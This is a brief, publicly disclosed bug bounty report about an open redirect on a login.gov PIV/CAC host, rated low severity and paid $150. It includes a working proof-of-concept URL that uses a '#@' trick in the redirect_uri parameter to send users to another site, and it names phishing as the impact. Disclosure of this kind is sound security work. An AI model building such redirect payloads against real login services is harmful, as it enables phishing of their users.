GSA Bounty · Report #798742

open redirect in eb9f.pivcac.prod.login.gov

Validstatus

lowseverity

$150bounty

13upvotes

12 May 2020disclosed

How it was found

poc:

https://eb9f.pivcac.prod.login.gov/?nonce=wI0UglN84A06Q4z4JnkZVc3i1V8%3D&redirect_uri=https%3A%2F%2Fgoogle.com%23%40secure.login.gov%2Flogin%2Fpiv_cac

visit this and will redirect to google.com

Impact

phishing

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original